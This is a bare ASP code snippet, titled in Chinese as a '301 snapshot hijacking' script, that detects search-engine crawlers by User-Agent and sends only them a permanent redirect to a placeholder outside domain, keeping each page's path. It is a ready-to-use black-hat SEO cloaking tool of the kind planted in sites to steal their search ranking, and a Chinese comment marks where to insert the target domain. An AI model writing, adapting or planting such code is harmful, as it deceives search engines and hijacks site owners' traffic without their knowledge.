301 快照劫持(asp 版)

<%   Function GetLocationURL()   Dim Url  Dim ScriptName,QueryString   ScriptName = Request.ServerVariables("SCRIPT_NAME")   QueryString = Request.ServerVariables("QUERY_STRING")   if ScriptName = "/index.asp" then  if QueryString = "" then  GetLocationURL = "/"  else  GetLocationURL = ScriptName&"?"&QueryString  end if  else  if QueryString = "" then  GetLocationURL = ScriptName  else  GetLocationURL = ScriptName&"?"&QueryString  end if  end if  End Function  If isspider() then  Response.Status="301 Moved Permanently"  Response.AddHeader "Location","http://www.xxx.com"& GetLocationURL() '在这里修改要跳转到的网  页  Response.End  End if  function isspider()  dim agent,searray,i  agent="agent:"&LCase(request.servervariables("http_user_agent"))  searray=array("googlebot","spider","sogou","yahoo","soso","baidu","360")  isspider = false  for i=0 to ubound(searray)  if (instr(agent,searray(i))>0) then isspider=true  next  end function  %>